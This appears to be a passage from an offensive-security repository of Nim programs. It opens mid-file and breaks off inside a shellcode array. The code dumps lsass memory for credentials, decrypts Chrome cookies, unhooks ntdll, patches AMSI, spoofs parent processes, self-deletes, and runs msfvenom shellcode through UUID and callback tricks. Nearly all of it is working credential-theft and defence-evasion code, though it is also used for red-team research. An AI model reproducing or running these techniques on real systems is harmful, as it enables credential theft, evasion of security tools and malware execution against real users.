result.add(cast[char](c)) 35 | 36 | proc GetLsassPid(): int = 37 | var 38 | entry: PROCESSENTRY32 39 | hSnapshot: HANDLE 40 | 41 | entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32)) 42 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 43 | defer: CloseHandle(hSnapshot) 44 | 45 | if Process32First(hSnapshot, addr entry): 46 | while Process32Next(hSnapshot, addr entry): 47 | if entry.szExeFile.toString == "lsass.exe": 48 | return int(entry.th32ProcessID) 49 | 50 | return 0 51 | 52 | when isMainModule: 53 | let processId: int = GetLsassPid() 54 | if not bool(processId): 55 | echo "[X] Unable to find lsass process" 56 | quit(1) 57 | 58 | echo "[*] lsass PID: ", processId 59 | 60 | var hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](processId)) 61 | if not bool(hProcess): 62 | echo "[X] Unable to open handle to process" 63 | quit(1) 64 | 65 | try: 66 | var fs = open(r"C:\proc.dump", fmWrite) 67 | echo "[*] Creating memory dump, please wait..." 68 | var success = MiniDumpWriteDump( 69 | hProcess, 70 | cast[DWORD](processId), 71 | fs.getOsFileHandle(), 72 | MiniDumpWithFullMemory, 73 | 0, 74 | 0, 75 | 0 76 | ) 77 | echo "[*] Dump successful: ", bool(success) 78 | fs.close() 79 | finally: 80 | CloseHandle(hProcess) 81 | -------------------------------------------------------------------------------- /src/self_delete_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Credit to @jonasLyk for the discovery of this method and LloydLabs for the initial C PoC code. 6 | 7 | References: 8 | - https://github.com/LloydLabs/delete-self-poc 9 | - https://twitter.com/jonasLyk/status/1350401461985955840 10 | ]# 11 | 12 | 13 | import winim 14 | import system 15 | 16 | var DS_STREAM_RENAME = newWideCString(":wtfbbq") 17 | 18 | proc ds_open_handle(pwPath: PWCHAR): HANDLE = 19 | return CreateFileW(pwPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0) 20 | 21 | proc ds_rename_handle(hHandle: HANDLE): WINBOOL = 22 | var fRename: FILE_RENAME_INFO 23 | RtlSecureZeroMemory(addr fRename, sizeof(fRename)) 24 | 25 | var lpwStream: LPWSTR = DS_STREAM_RENAME 26 | fRename.FileNameLength = sizeof(lpwStream).DWORD; 27 | RtlCopyMemory(addr fRename.FileName, lpwStream, sizeof(lpwStream)) 28 | 29 | return SetFileInformationByHandle(hHandle, fileRenameInfo, addr fRename, sizeof(fRename) + sizeof(lpwStream)) 30 | 31 | proc ds_deposite_handle(hHandle: HANDLE): WINBOOL = 32 | var fDelete: FILE_DISPOSITION_INFO 33 | RtlSecureZeroMemory(addr fDelete, sizeof(fDelete)) 34 | 35 | fDelete.DeleteFile = TRUE; 36 | 37 | return SetFileInformationByHandle(hHandle, fileDispositionInfo, addr fDelete, sizeof(fDelete).cint) 38 | 39 | when isMainModule: 40 | var 41 | wcPath: array[MAX_PATH + 1, WCHAR] 42 | hCurrent: HANDLE 43 | 44 | RtlSecureZeroMemory(addr wcPath[0], sizeof(wcPath)); 45 | 46 | if GetModuleFileNameW(0, addr wcPath[0], MAX_PATH) == 0: 47 | echo "[-] Failed to get the current module handle" 48 | quit(QuitFailure) 49 | 50 | hCurrent = ds_open_handle(addr wcPath[0]) 51 | if hCurrent == INVALID_HANDLE_VALUE: 52 | echo "[-] Failed to acquire handle to current running process" 53 | quit(QuitFailure) 54 | 55 | echo "[*] Attempting to rename file name" 56 | if not ds_rename_handle(hCurrent).bool: 57 | echo "[-] Failed to rename to stream" 58 | quit(QuitFailure) 59 | 60 | echo "[*] Successfully renamed file primary :$DATA ADS to specified stream, closing initial handle" 61 | CloseHandle(hCurrent) 62 | 63 | hCurrent = ds_open_handle(addr wcPath[0]) 64 | if hCurrent == INVALID_HANDLE_VALUE: 65 | echo "[-] Failed to reopen current module" 66 | quit(QuitFailure) 67 | 68 | if not ds_deposite_handle(hCurrent).bool: 69 | echo "[-] Failed to set delete deposition" 70 | quit(QuitFailure) 71 | 72 | echo "[*] Closing handle to trigger deletion deposition" 73 | CloseHandle(hCurrent) 74 | 75 | if not PathFileExistsW(addr wcPath[0]).bool: 76 | echo "[*] File deleted successfully" 77 | -------------------------------------------------------------------------------- /src/unhook.nim: -------------------------------------------------------------------------------- 1 | import winim 2 | import strutils 3 | import ptr_math 4 | import strformat 5 | 6 | proc toString(bytes: openarray[byte]): string = 7 | result = newString(bytes.len) 8 | copyMem(result[0].addr, bytes[0].unsafeAddr, bytes.len) 9 | 10 | proc ntdllunhook(): bool = 11 | let low: uint16 = 0 12 | var 13 | processH = GetCurrentProcess() 14 | mi : MODULEINFO 15 | ntdllModule = GetModuleHandleA("ntdll.dll") 16 | ntdllBase : LPVOID 17 | ntdllFile : FileHandle 18 | ntdllMapping : HANDLE 19 | ntdllMappingAddress : LPVOID 20 | hookedDosHeader : PIMAGE_DOS_HEADER 21 | hookedNtHeader : PIMAGE_NT_HEADERS 22 | hookedSectionHeader : PIMAGE_SECTION_HEADER 23 | 24 | GetModuleInformation(processH, ntdllModule, addr mi, cast[DWORD](sizeof(mi))) 25 | ntdllBase = mi.lpBaseOfDll 26 | ntdllFile = getOsFileHandle(open("C:\\windows\\system32\\ntdll.dll",fmRead)) 27 | ntdllMapping = CreateFileMapping(ntdllFile, NULL, 16777218, 0, 0, NULL) # 0x02 = PAGE_READONLY & 0x1000000 = SEC_IMAGE 28 | if ntdllMapping == 0: 29 | echo fmt"Could not create file mapping object ({GetLastError()})." 30 | return false 31 | ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0) 32 | if ntdllMappingAddress.isNil: 33 | echo fmt"Could not map view of file ({GetLastError()})." 34 | return false 35 | hookedDosHeader = cast[PIMAGE_DOS_HEADER](ntdllBase) 36 | hookedNtHeader = cast[PIMAGE_NT_HEADERS](cast[DWORD_PTR](ntdllBase) + hookedDosHeader.e_lfanew) 37 | for Section in low ..< hookedNtHeader.FileHeader.NumberOfSections: 38 | hookedSectionHeader = cast[PIMAGE_SECTION_HEADER](cast[DWORD_PTR](IMAGE_FIRST_SECTION(hookedNtHeader)) + cast[DWORD_PTR](IMAGE_SIZEOF_SECTION_HEADER * Section)) 39 | if ".text" in toString(hookedSectionHeader.Name): 40 | var oldProtection : DWORD = 0 41 | if VirtualProtect(ntdllBase + hookedSectionHeader.VirtualAddress, hookedSectionHeader.Misc.VirtualSize, 0x40, addr oldProtection) == 0:#0x40 = PAGE_EXECUTE_READWRITE 42 | echo fmt"Failed calling VirtualProtect ({GetLastError()})." 43 | return false 44 | copyMem(ntdllBase + hookedSectionHeader.VirtualAddress, ntdllMappingAddress + hookedSectionHeader.VirtualAddress, hookedSectionHeader.Misc.VirtualSize) 45 | if VirtualProtect(ntdllBase + hookedSectionHeader.VirtualAddress, hookedSectionHeader.Misc.VirtualSize, oldProtection, addr oldProtection) == 0: 46 | echo fmt"Failed resetting memory back to it's orignal protections ({GetLastError()})." 47 | return false 48 | CloseHandle(processH) 49 | CloseHandle(ntdllFile) 50 | CloseHandle(ntdllMapping) 51 | FreeLibrary(ntdllModule) 52 | return true 53 | 54 | 55 | when isMainModule: 56 | var result = ntdllunhook() 57 | echo fmt"[*] unhook Ntdll: {bool(result)}" 58 | -------------------------------------------------------------------------------- /src/chrome_dump_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: @fkadibs 3 | License: BSD 3-Clause 4 | This is an example of dumping cookies from Chrome in nim. With slight modifications, it could dump saved credentials or target other browsers. 5 | 6 | Requires: 7 | nimble install tiny_sqlite 8 | ]# 9 | 10 | import base64, json, tiny_sqlite 11 | import nimcrypto/[rijndael, bcmode] 12 | import winim/lean 13 | import std/os 14 | 15 | proc cryptUnprotectData(data: openarray[byte|char]): string = 16 | var 17 | input = DATA_BLOB(cbData: cint data.len, pbData: cast[ptr BYTE](unsafeaddr data[0])) 18 | output: DATA_BLOB 19 | 20 | if CryptUnprotectData(addr input, nil, nil, nil, nil, 0, addr output) != 0: 21 | result.setLen(output.cbData) 22 | if output.cbData != 0: 23 | copyMem(addr result[0], output.pbData, output.cbData) 24 | LocalFree(cast[HLOCAL](output.pbData)) 25 | 26 | proc cryptUnprotectData(data: string): string {.inline.} = 27 | result = cryptUnprotectData(data.toOpenArray(0, data.len - 1)) 28 | 29 | proc expandvars(path: string): string = 30 | var buffer = T(MAX_PATH) 31 | ExpandEnvironmentStrings(path, &buffer, MAX_PATH) 32 | result = $buffer 33 | 34 | proc cookieDecrypt(data: openarray[byte]): string = 35 | var key {.global.}: string 36 | 37 | if data[0 ..< 3] == [byte 118, 49, 48]: 38 | # load the key from the local state if we haven't already 39 | if key.len == 0: 40 | let json = parseFile(expandvars(r"%LocalAppData%\Google\Chrome\User Data\Local State")) 41 | key = json["os_crypt"]["encrypted_key"].getStr().decode().substr(5).cryptUnprotectData() 42 | 43 | var 44 | ctx: GCM[aes256] 45 | aad: seq[byte] 46 | iv = data[3 ..< 3 + 12] 47 | encrypted = data[3 + 12 ..< data.len - 16] 48 | tag = data[data.len - 16 ..< data.len] 49 | dtag: array[aes256.sizeBlock, byte] 50 | 51 | # decrypt the blob 52 | if encrypted.len > 0: 53 | result.setLen(encrypted.len) 54 | ctx.init(key.toOpenArrayByte(0, key.len - 1), iv, aad) 55 | ctx.decrypt(encrypted, result.toOpenArrayByte(0, result.len - 1)) 56 | ctx.getTag(dtag) 57 | assert(dtag == tag) 58 | else: 59 | result = cryptUnprotectData(data) 60 | 61 | 62 | proc main() = 63 | # if chrome is open, it will lock the database, so we'll make a copy 64 | let filename = r"%LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies" 65 | copyFile(expandvars(filename), expandvars(filename & "_bak")) 66 | 67 | # load the database from disk 68 | let db = openDatabase(expandvars(filename & "_bak")) 69 | defer: db.close() 70 | 71 | # query with sqlite and decrypt 72 | for row in db.rows("SELECT host_key, name, encrypted_value FROM cookies"): 73 | echo "Host Name: ", row[0].fromDbValue(string) 74 | echo "Name: ", row[1].fromDbValue(string) 75 | echo "Value: ", cookieDecrypt(row[2].fromDbValue(seq[byte])) 76 | echo "" 77 | 78 | main() 79 | -------------------------------------------------------------------------------- /src/uuid_exec_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Furkan Ayar, Twitter: @frknayar 3 | License: BSD 3-Clause 4 | 5 | This is NIM implementation of UUID Shellcode execution from HEAP memory area which has been seen in the wild by lazarus loader. 6 | References: 7 | - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ 8 | - https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/ 9 | - https://gist.github.com/rxwx/c5e0e5bba8c272eb6daa587115ae0014#file-uuid-c 10 | ]# 11 | 12 | import winim 13 | import strformat 14 | 15 | when defined(windows): 16 | 17 | when defined(amd64): 18 | echo "[*] Running in x64 Process" 19 | # msfvenom -a x64 -p windows/x64/exec CMD=notepad.exe EXITFUNC=thread 20 | const SIZE = 18 21 | var UUIDARR = allocCStringArray([ 22 | "e48348fc-e8f0-00c0-0000-415141505251", 23 | "d2314856-4865-528b-6048-8b5218488b52", 24 | "728b4820-4850-b70f-4a4a-4d31c94831c0", 25 | "7c613cac-2c02-4120-c1c9-0d4101c1e2ed", 26 | "48514152-528b-8b20-423c-4801d08b8088", 27 | "48000000-c085-6774-4801-d0508b481844", 28 | "4920408b-d001-56e3-48ff-c9418b348848", 29 | "314dd601-48c9-c031-ac41-c1c90d4101c1", 30 | "f175e038-034c-244c-0845-39d175d85844", 31 | "4924408b-d001-4166-8b0c-48448b401c49", 32 | "8b41d001-8804-0148-d041-5841585e595a", 33 | "59415841-5a41-8348-ec20-4152ffe05841", 34 | "8b485a59-e912-ff57-ffff-5d48ba010000", 35 | "00000000-4800-8d8d-0101-000041ba318b", 36 | "d5ff876f-e0bb-2a1d-0a41-baa695bd9dff", 37 | "c48348d5-3c28-7c06-0a80-fbe07505bb47", 38 | "6a6f7213-5900-8941-daff-d56e6f746570", 39 | "652e6461-6578-0000-0000-000000000000" ]) 40 | 41 | when isMainModule: 42 | # Creating and Allocating Heap Memory 43 | echo fmt"[*] Allocating Heap Memory" 44 | let hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0) 45 | let ha = HeapAlloc(hHeap, 0, 0x100000) 46 | var hptr = cast[DWORD_PTR](ha) 47 | if hptr != 0: 48 | echo fmt"[+] Heap Memory is Allocated at 0x{hptr.toHex}" 49 | else: 50 | echo fmt"[-] Heap Alloc Error " 51 | quit(QuitFailure) 52 | 53 | echo fmt"[*] UUID Array size is {SIZE}" 54 | # Planting Shellcode From UUID Array onto Allocated Heap Memory 55 | for i in 0..(SIZE-1): 56 | var status = UuidFromStringA(cast[RPC_CSTR](UUIDARR[i]), cast[ptr UUID](hptr)) 57 | if status != RPC_S_OK: 58 | if status == RPC_S_INVALID_STRING_UUID: 59 | echo fmt"[-] Invalid UUID String Detected" 60 | else: 61 | echo fmt"[-] Something Went Wrong, Error Code: {status}" 62 | quit(QuitFailure) 63 | hptr += 16 64 | echo fmt"[+] Shellcode is successfully placed between 0x{(cast[DWORD_PTR](ha)).toHex} and 0x{hptr.toHex}" 65 | 66 | # Calling the Callback Function 67 | echo fmt"[*] Calling the Callback Function ..." 68 | EnumSystemLocalesA(cast[LOCALE_ENUMPROCA](ha), 0) 69 | CloseHandle(hHeap) 70 | quit(QuitSuccess) 71 | -------------------------------------------------------------------------------- /src/clr_host_cpp_embed_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | 3 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 4 | License: BSD 3-Clause 5 | 6 | This was an initial attempt at trying to embed the CLR before Winim 3.6.0 was out (which now supports all of the necessary API calls to load .NET assemblies). 7 | 8 | If anything it was a pretty cool excercise and an example of how to embed C++ directly within Nim. 9 | 10 | Few thangs: 11 | - When using Nim's C++ backend and cross-compiling to Windows you need to statically link the binaries by passing the '-static' flag to the linker. 12 | Otherwise the resulting binaries will **not** run (Seems like a bug?) 13 | 14 | - This particular example will only work on x64 machines and requires the metahost.h and mscoree.lib files (in the rsrc directory). 15 | Both of those files were stolen directly from my Windows VM. If you want to compile to x86 you need to grab the x86 version of mscoree.lib. 16 | 17 | Gr33tz & huge thanks to Pancho for helping me get this to work. 18 | 19 | References: 20 | - https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2#gistcomment-2553021 21 | 22 | ]# 23 | 24 | {.passL:"-L ./rsrc -l mscoree -static".} 25 | {.passC:"-I ./rsrc".} 26 | 27 | when not defined(cpp): 28 | {.error: "Must be compiled in cpp mode"} 29 | 30 | {.emit: """ 31 | #include 32 | #include 33 | #include 34 | #include 35 | 36 | //#pragma comment(lib, "mscoree.lib") 37 | 38 | //const IID CLSID_CLRRuntimeHost; 39 | //const IID IID_ICLRRuntimeHost; 40 | 41 | EXTERN_GUID(CLSID_CLRRuntimeHost, 0x90F1A06E, 0x7712, 0x4762, 0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02); 42 | EXTERN_GUID(IID_ICLRRuntimeHost, 0x90F1A06C, 0x7712, 0x4762, 0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02); 43 | //DEFINE_GUID(CLSID_CLRRuntimeHost, 0x90f1a06e,0x7712,0x4762,0x86,0xb5,0x7a,0x5e,0xba,0x6b,0xdb,0x02); 44 | //DEFINE_GUID(IID_ICLRRuntimeHost, 0x90f1a06c, 0x7712, 0x4762, 0x86,0xb5, 0x7a,0x5e,0xba,0x6b,0xdb,0x02); 45 | 46 | int RunAssembly() 47 | { 48 | ICLRMetaHost* metaHost = NULL; 49 | ICLRRuntimeInfo* runtimeInfo = NULL; 50 | ICLRRuntimeHost* runtimeHost = NULL; 51 | 52 | if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost) == S_OK) { 53 | if (metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo) == S_OK) { 54 | if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) == S_OK) { 55 | if (runtimeHost->Start() == S_OK) 56 | { 57 | std::cout << "Loading random.dll!\n"; 58 | DWORD pReturnValue; 59 | runtimeHost->ExecuteInDefaultAppDomain(L"C:\\random.dll", L"dllNamespace.dllClass", L"ShowMsg", L"It works!!", &pReturnValue); 60 | 61 | runtimeInfo->Release(); 62 | metaHost->Release(); 63 | runtimeHost->Release(); 64 | } 65 | } 66 | } 67 | } 68 | return 0; 69 | } 70 | """.} 71 | 72 | proc RunAssembly(): int 73 | {.importcpp: "RunAssembly", nodecl.} 74 | 75 | when isMainModule: 76 | var result = RunAssembly() 77 | echo "[*] Assembly executed: ", bool(result) 78 | -------------------------------------------------------------------------------- /wip/amsi_patch_2_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Reference https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/#amsi_patch_C 3 | 4 | So this is an interesting problem: Nim doesn't preserve the order of the functions you define when it generates their C code counterparts. 5 | Because were doing some memory patching here, thats sorta needed. You could use the emit pragma for this (??) but then you'd have to deal with the missing symbols. 6 | 7 | Probably better off using another patching method. 8 | 9 | See https://nim-lang.org/docs/manual.html#implementation-specific-pragmas-emit-pragma if you're confused about the emit pragma 10 | ]# 11 | 12 | import strformat 13 | import dynlib 14 | import winim/lean 15 | 16 | type 17 | HAMSICONTEXT = HANDLE 18 | HAMSISESSION = HANDLE 19 | 20 | AMSI_RESULT = enum 21 | AMSI_RESULT_CLEAN = 0 22 | 23 | proc AmsiScanBufferStub(amsiContext: HAMSICONTEXT, buffer: PVOID, length: ULONG, contentName: LPCWSTR, amsiSession: HAMSISESSION, rslt: ptr AMSI_RESULT): HRESULT = 24 | rslt[] = AMSI_RESULT_CLEAN 25 | return S_OK 26 | 27 | proc AmsiScanBufferStubEnd(): VOID = 28 | discard 29 | 30 | #[ 31 | {.emit: """ 32 | static HRESULT AmsiScanBufferStub( 33 | HAMSICONTEXT amsiContext, 34 | PVOID buffer, 35 | ULONG length, 36 | LPCWSTR contentName, 37 | HAMSISESSION amsiSession, 38 | AMSI_RESULT *result) 39 | { 40 | *result = AMSI_RESULT_CLEAN; 41 | return S_OK; 42 | } 43 | 44 | static VOID AmsiScanBufferStubEnd(VOID) {} 45 | """.} 46 | 47 | proc AmsiScanBufferStub(amsiContext: HAMSICONTEXT, buffer: PVOID, length: ULONG, contentName: LPCWSTR, amsiSession: HAMSISESSION, rslt: ptr AMSI_RESULT): HRESULT 48 | {.importc: "AmsiScanBufferStub", nodecl.} 49 | 50 | proc AmsiScanBufferStubEnd(): VOID 51 | {.importc: "AmsiScanBufferStubEnd", nodecl.} 52 | ]# 53 | 54 | proc DisableAMSI(): bool = 55 | var 56 | disabled: bool = false 57 | amsi: LibHandle 58 | stublen: DWORD 59 | op: DWORD 60 | t: DWORD 61 | cs: pointer 62 | 63 | # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows 64 | # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim) 65 | amsi = loadLib("amsi") 66 | if isNil(amsi): 67 | echo "[X] Failed to load amsi.dll" 68 | return disabled 69 | defer: amsi.unloadLib() 70 | 71 | cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress() 72 | if isNil(cs): 73 | echo "[X] Failed to get the address of 'AmsiScanBuffer'" 74 | return disabled 75 | 76 | echo fmt"[*] AmsiScanBufferStubEnd: {cast[ULONG_PTR](AmsiScanBufferStubEnd)}" 77 | echo fmt"[*] AmsiScanBufferStub: {cast[ULONG_PTR](AmsiScanBufferStub)}" 78 | 79 | stublen = cast[DWORD]( (cast[ULONG_PTR](AmsiScanBufferStub) - cast[ULONG_PTR](AmsiScanBufferStubEnd)) ) 80 | echo fmt"[*] Stub Length: {stublen}" 81 | 82 | if not VirtualProtect(cs, stublen, PAGE_EXECUTE_READWRITE, addr op): 83 | echo "[X] Failed calling VirtualProtect" 84 | return disabled 85 | 86 | copyMem(cs, AmsiScanBufferStub, stublen) 87 | disabled = true 88 | 89 | if not VirtualProtect(cs, stublen, op, addr t): 90 | echo "[X] Failed resetting memory back to it's orignal protections" 91 | 92 | return disabled 93 | 94 | when isMainModule: 95 | var success = DisableAMSI() 96 | echo fmt"[*] AMSI disabled: {bool(success)}" 97 | -------------------------------------------------------------------------------- /src/blockdlls_acg_ppid_spoof_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Spawns notepad (suspended) with a spoofed PPID of explorer.exe, with BlockDLL and Arbitrary Code Guard protections enabled. 6 | 7 | References: 8 | - https://blog.xpnsec.com/protecting-your-malware/ 9 | - https://gist.github.com/xpn/4eaacf7edda382cff8067866c4c7f1ce#file-blockdlls_poc-cpp 10 | - https://gist.github.com/rasta-mouse/af009f49229c856dc26e3a243db185ec 11 | - https://github.com/khchen/winim/blob/master/winim/inc/winbase.nim#L1458 12 | - https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute 13 | ]# 14 | 15 | 16 | import winim 17 | import strformat 18 | 19 | const 20 | PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x00000001 shl 44 21 | PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE = 0x00000003 shl 44 #Gr33tz to @_RastaMouse ;) 22 | PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON = 0x00000001 shl 36 23 | 24 | proc toString(chars: openArray[WCHAR]): string = 25 | result = "" 26 | for c in chars: 27 | if cast[char](c) == '\0': 28 | break 29 | result.add(cast[char](c)) 30 | 31 | proc GetProcessByName(process_name: string): DWORD = 32 | var 33 | pid: DWORD = 0 34 | entry: PROCESSENTRY32 35 | hSnapshot: HANDLE 36 | 37 | entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32)) 38 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 39 | defer: CloseHandle(hSnapshot) 40 | 41 | if Process32First(hSnapshot, addr entry): 42 | while Process32Next(hSnapshot, addr entry): 43 | if entry.szExeFile.toString == process_name: 44 | pid = entry.th32ProcessID 45 | break 46 | 47 | return pid 48 | 49 | var 50 | si: STARTUPINFOEX 51 | pi: PROCESS_INFORMATION 52 | ps: SECURITY_ATTRIBUTES 53 | ts: SECURITY_ATTRIBUTES 54 | policy: DWORD64 55 | lpSize: SIZE_T 56 | res: WINBOOL 57 | 58 | si.StartupInfo.cb = sizeof(si).cint 59 | ps.nLength = sizeof(ps).cint 60 | ts.nLength = sizeof(ts).cint 61 | 62 | InitializeProcThreadAttributeList(NULL, 2, 0, addr lpSize) 63 | 64 | si.lpAttributeList = cast[LPPROC_THREAD_ATTRIBUTE_LIST](HeapAlloc(GetProcessHeap(), 0, lpSize)) 65 | 66 | InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, addr lpSize) 67 | 68 | policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALLOW_STORE or PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON 69 | 70 | res = UpdateProcThreadAttribute( 71 | si.lpAttributeList, 72 | 0, 73 | cast[DWORD_PTR](PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY), 74 | addr policy, 75 | sizeof(policy), 76 | NULL, 77 | NULL 78 | ) 79 | 80 | var processId = GetProcessByName("explorer.exe") 81 | echo fmt"[*] Found PPID: {processId}" 82 | var parentHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId) 83 | 84 | res = UpdateProcThreadAttribute( 85 | si.lpAttributeList, 86 | 0, 87 | cast[DWORD_PTR](PROC_THREAD_ATTRIBUTE_PARENT_PROCESS), 88 | addr parentHandle, 89 | sizeof(parentHandle), 90 | NULL, 91 | NULL 92 | ) 93 | 94 | res = CreateProcess( 95 | NULL, 96 | newWideCString(r"C:\Windows\notepad.exe"), 97 | ps, 98 | ts, 99 | FALSE, 100 | EXTENDED_STARTUPINFO_PRESENT or CREATE_SUSPENDED, 101 | NULL, 102 | NULL, 103 | addr si.StartupInfo, 104 | addr pi 105 | ) 106 | 107 | echo fmt"[+] Started process with PID: {pi.dwProcessId}" -------------------------------------------------------------------------------- /src/shellcode_callback_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Fabian Mosch, Twitter: @ShitSecure 3 | License: BSD 3-Clause 4 | 5 | References: 6 | - https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection/blob/main/EnumSystemGeoID.cpp 7 | ]# 8 | 9 | import winim/lean 10 | 11 | when defined(windows): 12 | 13 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 14 | when defined(i386): 15 | # msfvenom -p windows/exec -f csharp CMD="calc.exe" modified for Nim arrays 16 | echo "[*] Running in x86 process" 17 | var shellcode: array[193, byte] = [ 18 | byte 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 19 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 20 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 21 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 22 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 23 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 24 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 25 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 26 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 27 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 28 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 29 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 30 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00] 31 | 32 | elif defined(amd64): 33 | # msfvenom -p windows/x64/exec -f csharp CMD="calc.exe" modified for Nim arrays 34 | echo "[*] Running in x64 process" 35 | var shellcode: array[276, byte] = [ 36 | byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 37 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 38 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 39 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 40 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 41 | 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 42 | 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 43 | 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 44 | 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 45 | 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 46 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 47 | 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 48 | 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 49 | 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 50 | 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 51 | 